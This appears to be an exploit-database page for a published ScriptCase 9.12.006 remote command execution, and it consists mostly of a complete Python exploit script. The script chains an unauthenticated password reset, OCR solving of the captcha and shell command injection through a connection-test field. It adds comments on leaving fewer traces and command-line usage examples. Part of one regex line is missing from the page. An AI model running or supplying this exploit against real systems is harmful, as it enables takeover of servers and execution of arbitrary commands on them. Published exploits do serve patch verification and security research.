ScriptCase 9.12.006 (23) – Remote Command Execution (RCE)

Exploit Details

Basic Information

Exploit Title ScriptCase 9.12.006 (23) – Remote Command Execution (RCE)
Exploit ID EDB-ID:52353
Type exploitdb
Published 2025-07-08T00:00:00
Modified 2025-07-08T00:00:00

CVSS Information

CVSS Score 7.5
Severity HIGH
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVE Information

  • CVE-2025-47227
  • CVE-2025-47228

Exploit Description

Exploit Title: ScriptCase 9.12.006 (23) – Remote Command…

Exploit Code

# Exploit Title: ScriptCase 9.12.006 (23) – Remote Command Execution (RCE)

# Date: 04/07/2025

# Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir)

# Vendor Homepage: https://www.scriptcase.net/

# Software Link: https://www.scriptcase.net/download/

# Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase)

# Tested on: EndeavourOS

# CVE : CVE-2025-47227, CVE-2025-47228

# Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228

# Advisory: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution

# Imports

## stdlib

import io

import random

import optparse

import re

import string

import sys

import urllib.parse

## third party

from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow

import pytesseract # pip3 install pytesseract

import requests # pip install requests

from bs4 import BeautifulSoup # pip install beautifulsoup4

# Clean image + OCR

def process_image(input_image, output_image_path=None):

# Open the image

img = Image.open(io.BytesIO(input_image))

# Convert the image to RGB (in case it’s in a different mode)

img = img.convert(‘RGB’)

# Load the pixel data

pixels = img.load()

# Get the dimensions of the image

width, height = img.size

# Process each pixel

for y in range(height):

for x in range(width):

r, g, b = pixels[x, y]

# Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white)

if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):

pixels[x, y] = (211, 211, 211) # Change the pixel to light grey

elif (r, g, b) == (255, 255, 255): # Change white text in black text

pixels[x, y] = (0, 0, 0) # Change the pixel to black

# Size (200, 50) * 5

img = img.resize((1000,250), Image.Resampling.HAMMING)

# Use Tesseract to convert the image to text

# psm 6 or 8 work best

# limit alphabet

# disable word optimized detection https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns

custom_oem_psm_config = rf’–psm 8 –oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false –dpi 300′ # there are only uppercase but keep lowercase to avoid false negative

text = pytesseract.image_to_string(img, config=custom_oem_psm_config)

return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added

# Step 1: Set is_page to true on the session

def prepare_session(url_base, cookies):

res = requests.get(

f'{url_base}/prod/lib/php/devel/iface/login.php’,

cookies=cookies,

verify=False

)

if res.status_code == 200:

print(“[+] Session prepared”)

else:

print(f”[-] Failed with status code {res.status_code}”)

# Random hex string of arbitrary size

def rand_hex(size):

return ”.join(random.choice(‘0123456789abcdef’) for _ in range(size))

# Step 2: Get a captcha challenge for the session

def captcha_session(url_base, cookies):

res = requests.get(

f'{url_base}/prod/lib/php/devel/lib/php/secureimage.php’,

cookies=cookies,

verify=False

)

if res.status_code == 200:

print(“[+] Captcha retrieved”)

return res.content

else:

print(f”[-] Failed with status code {res.status_code}”)

# Step 3: Change the password with the prepared session

def reset_password(url_base, cookies, captcha_img, captcha_txt):

new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9))

email = f'{rand_hex(10)}@{rand_hex(8)}.com’

data = {

‘ajax’: ‘nm’,

‘nm_action’: ‘change_pass’,

’email’: email,

‘pass_new’: new_password,

‘pass_conf’: new_password,

‘lang’: ‘en-us’,

‘captcha’: captcha_txt

}

res = requests.post(

f'{url_base}/prod/lib/php/devel/iface/login.php’,

data=data,

cookies=cookies,

verify=False

)

if res.status_code == 200 and res.text == ‘{“result”:”success”}’:

print(“[+] Password reset successfully”)

print(f”[+] The new password is: {new_password}”)

print(f”[+] The delcared (fake) email address was: {email}”)

elif res.status_code == 200 and res.text == ‘{“result”:”error”,”message”:”Invalid captcha”}’:

print(“[-] OCR failed”)

print(f”[-] Failed captcha submission was {captcha_txt}”)

img = Image.open(io.BytesIO(captcha_img))

img.show()

manual_input = input(“[+] Input displayed captcha to retry manually: “)

reset_password(url_base, cookies, captcha_img, manual_input)

elif res.status_code == 200 and res.text == ‘{“result”:”error”,”message”:”The password is incorrect.”}’:

print(“[-] Non default password policy”)

print(“[-] Hardcode a password that matches it”)

print(f”[-] Failed password is: {new_password}”)

else:

print(f”[-] Failed with status code {res.status_code}”)

print(res.text)

print(‘[-] Data was:’)

print(data)

# Detect the deployment path of ScriptCase and produciton environment from the homepage.

# E.g. deployment path is /scriptcase/

# sc_pathToTB variable on http://10.58.8.213/ will be ‘/scriptcase/prod/third/jquery_plugin/thickbox/’

# ScriptCase login page => http://10.58.8.213/scriptcase/devel/iface/login.php

# Production Environment login page => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php

def detect_deployment_path(homepage_url):

res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects)

if res.status_code == 200:

print(“[+] Looking for deployment path in JS and computing login paths”)

reg = r”var sc_pathToTB = ‘(.+)/prod/third/jquery_plugin/thickbox/’;”

match = re.search(reg, res.text)

# compute URL without path

parsed_url = urllib.parse.urlparse(homepage_url)

homepage_root = f”{parsed_url.scheme}://{parsed_url.netloc}”

if match:

base_path = match.group(1)

print(f”[+] Deployment path found: {base_path}/”)

print(f”[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php (probably not deployed on a production environment)”)

print(f”[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php”)

else: # either a website not made with ScriptCase or root redirects to the devel page

js_redirect(res)

# try to detect the devel/iface/login.php page

reg2 = r’http://www\.scriptcase\.net|doChangeLanguage|str_lang_user_first’

match = re.search(reg2, res.text)

if match: # devel page

print(f”[?] This may be the development console?”)

# now try to extract path from favicon

reg3 = r’
if match: # base path found

base_path = match.group(1)

print(f”[+] Deployment path found: {base_path}/”)

print(f”[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php”)

print(f”[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php”)

else: # false positive, it’s not devel page

print(f”[-] Failed to find deployment path, is this site made with ScriptCase?”)

else: # no ScriptCase detected

print(“[-] Failed to find deployment path, is this site made with ScriptCase?”)

else:

print(f”[-] Failed with status code {res.status_code}”)

# Try to handle JS redirect else warn and exit

def js_redirect(res):

if re.search(r’window\.location’, res.text):

print(‘[-] JavaScript redirection detected’)

print(‘[-] JavaScript redirection not handled (no headless browser with JS engine)’)

print(f”[-] Returned page is:\n{res.text}”)

print(f”[-] Last redirection URL is:\n{res.url}”)

match = re.search(r”window\.location\s*=\s*[‘\”](.+)[‘\”]”, res.text)

if match:

redirect_url = f”{res.url}/{match.group(1)}”

print(f”[?] Let’s try again with: {redirect_url}”)

detect_deployment_path(redirect_url)

else:

print(‘Please try again with redirect URL’)

exit(1)

# Remote command execution on the system

#

# Instead of registering a new connection (admin_sys_allconections_create_wizard.php), we can just test it

# (admin_sys_allconections_test.php) so we leave less traces.

# Even if the test results in “Connection Error” / “Unable to connect”, the command was stil lexecuted.

def command_injection(url_base, cookies, cmd):

data = {

‘hid_create_connect’: ‘S’,

‘dbms’: ‘mysql’,

‘conn’: ‘conn_mysql’,

‘dbms’: ‘pdo_mysql’,

‘host’: ‘127.0.0.1:3306’,

‘server’: ‘127.0.0.1’,

‘port’: ‘3306’,

‘user’: rand_hex(11),

‘pass’: rand_hex(8),

‘show_table’: ‘Y’,

‘show_view’: ‘Y’,

‘show_system’: ‘Y’,

‘show_procedure’: ‘Y’,

‘decimal’: ‘.’,

‘use_persistent’: ‘N’,

‘use_schema’: ‘N’,

‘retrieve_schema’: ‘Y’,

‘retrieve_schema’: ‘Y’,

‘use_ssh’: ‘Y’,

‘ssh_server’: ‘127.0.0.1’,

‘ssh_user’: ‘root’,

‘ssh_port’: ’22’,

‘ssh_localportforwarding’: f’; {cmd};#’,

‘ssh_localserver’: ‘127.0.0.1’,

‘ssh_localport’: ‘3306’,

‘form_create’: form_create(url_base, cookies),

‘retornar’: ‘Back’,

‘concluir’: ‘Save’,

‘confirmar’: ‘Back’,

‘voltar’: ‘Confirm’,

‘step’: ‘sgdb2’,

‘nextstep’: ‘dados_rep’

}

res = requests.post(

f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php’,

data=data,

cookies=cookies,

verify=False

)

if res.status_code == 200:

print(“[+] Command executed (blind)”)

else:

print(f”[-] Failed with status code {res.status_code}”)

exit(1)

# Get form_create ID for command_injection()

def form_create(url_base, cookies):

res = requests.get(

f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php’,

cookies=cookies,

verify=False

)

if res.status_code == 200:

print(“[+] Parsing results to find form_create ID”)

soup = BeautifulSoup(res.text, ‘html.parser’)

form_create = soup.css.select_one(‘html body.nmPage form input[name=”form_create”]’)

if form_create:

form_create_id = form_create.get(‘value’)

print(f”[+] form_create ID found: {form_create_id}”)

return form_create_id

else:

print(“[-] No form_create ID found”)

exit(1)

return res.content

else:

print(f”[-] Failed with status code {res.status_code}”)

exit(1)

# Handles login

#

# Comes with a cookie as there is session fixation (cookie not renewed after login)

def login(url_base, cookies, password):

data = {

‘option’: ‘login’,

‘opt_par’: None,

‘hid_login’: ‘S’,

‘field_pass’: password,

‘field_language’: ‘en-us’

}

res = requests.post(

f'{url_base}/prod/lib/php/nm_ini_manager2.php’,

data=data,

cookies=cookies,

verify=False

)

if res.status_code == 200:

print(“[+] Authentication successful”)

else:

print(“[-] Authentication failed”)

# Exploit

if __name__ == ‘__main__’:

help_text = “””

Examples:

Pre-Auth RCE (password reset + RCE)

python exploit.py -u http://example.org/scriptcase -c “command”

Password reset only (no auth)

python exploit.py -u http://example.org/scriptcase

RCE only (need account)

python exploit.py -u http://example.org/scriptcase -c “command” -p ‘Password123*’

Detect deployment path

python exploit.py -u http://example.org/ -d

“””

parser = optparse.OptionParser(usage=help_text)

parser.add_option(‘-u’, ‘–base-url’)

parser.add_option(‘-c’, ‘–command’)

parser.add_option(‘-p’, ‘–password’)

parser.add_option(‘-d’, ‘–detect’, action=’store_true’, dest=’detect’)

opts, args = parser.parse_args()

cookies = {

‘PHPSESSID’: rand_hex(26) # Simulate a random PHPSESSID (more stealth than an arbitrary string)

}

URL_BASE = opts.base_url

if opts.base_url and opts.command and not opts.password and not opts.detect: # Pre-Auth RCE (password reset + RCE)

prepare_session(URL_BASE, cookies)

captcha_img = captcha_session(URL_BASE, cookies)

captcha_txt = process_image(captcha_img)

reset_password(URL_BASE, cookies, captcha_img, captcha_txt)

command_injection(URL_BASE, cookies, opts.command)

elif opts.base_url and not opts.command and not opts.password and not opts.detect: # Password reset only (no auth)

prepare_session(URL_BASE, cookies)

captcha_img = captcha_session(URL_BASE, cookies)

captcha_txt = process_image(captcha_img)

reset_password(URL_BASE, cookies, captcha_img, captcha_txt)

elif opts.base_url and opts.command and opts.password and not opts.detect: # RCE only (need account)

prepare_session(URL_BASE, cookies)

login(URL_BASE, cookies, opts.password)

command_injection(URL_BASE, cookies, opts.command)

elif opts.base_url and not opts.command and not opts.password and opts.detect: # Detect deployment path

detect_deployment_path(URL_BASE)

else:

parser.print_help()

sys.exit(1)

View Full Exploit Details

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.